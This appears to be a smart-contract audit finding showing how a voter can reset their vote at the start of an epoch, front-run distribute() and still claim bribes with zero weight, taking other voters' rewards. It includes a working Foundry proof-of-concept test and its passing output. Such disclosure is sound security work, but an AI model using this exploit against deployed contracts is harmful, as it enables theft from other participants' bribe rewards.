Users to be able to reset the voting status, need to call Voter.sol#reset(). However, the modifier onlyNewEpoch() will force the user to wait until a new epoch starts since the last vote. So user can call reset() at the first second of the new epoch.
2- To distribute rewards and bribes to all gauges you need to call Voter.sol#distribute() only once per epoch. (Normally this is done by off-chain bots)
File: Voter.sol
408: function _distribute(address _gauge) internal {
409:
410: // Distribute once after epoch has ended
411: require(
412: block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(),
413: "can only distribute after period end"
414: );
Now, the first point updates all the related values, but the Bribe.sol#withdraw() will create a new checkpoint X (see: _writeCheckpoint()[#2]) this checkpoint get considered for the new epoch not the last epoch.
Next time the user calls voter.sol#claimBribes(). the balanceOf of the epoch X - 1 will allow the user to claim all/part from the bribes even if he didn't help the gauge to generate more emrssions
File: Bribe.sol
232: function earned(address token, uint256 tokenId) public view returns (uint256) {
/***/
262: if (_nextEpochStart > prevRewards.timestamp) {
263: reward += prevRewards.balanceOf;
264: }
Impact Details
1- If the malicious user is the only one who votes to a gauge, He will claim all the bribes if they exist and the pool will receive zero emissions.
2- If there are multiple users vote for that particular pool, the malicious user will steal a part from other user's bribes.
function test_bribes_poc_01() public {
{//set up
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
address bribeAddress = voter.bribes(address(sushiGauge));
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
address[] memory bribes = new address[](1);
bribes[0] = address(bribeAddress);
address[][] memory tokens = new address[][](1);
tokens[0] = new address[](1);
tokens[0][0] = bal;
// in epoch i, user votes with balance x
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
// Start epoch
hevm.warp(newEpoch());
voter.distribute();
}
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
// Add BAL bribes to sushiGauge
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
/*@audit you can call `distribute()`only starting from `IMinter(minter).activePeriod() + IMinter(minter).DURATION()` */
// Start second epoch. this is the first second of the second epoch.
hevm.warp(newEpoch() - 1);
//! user front-run the `distribute()` transaction
hevm.prank(admin);
voter.reset(tokenId1);
//! weight is zero
uint weight = voter.weights(sushiPoolAddress);
assertEq(weight, 0);
voter.distribute();
uint256 balanceStart = IERC20(bal).balanceOf(admin);
// Claim bribes from epoch i
hevm.warp(block.timestamp + 100);
hevm.prank(admin);
voter.claimBribes(bribes, tokens, tokenId1);
uint256 balanceEnd = IERC20(bal).balanceOf(admin);
//! weight is zero but the user still able to claim the bribes
assertGt(balanceEnd, balanceStart);
}
Test result:
Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] test_bribes_poc_01() (gas: 3792050)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 52.46s (37.28s CPU time)
Ran 1 test suite in 54.39s (52.46s CPU time): 1 tests passed, 0 failed, 0 skipped
(1 total tests)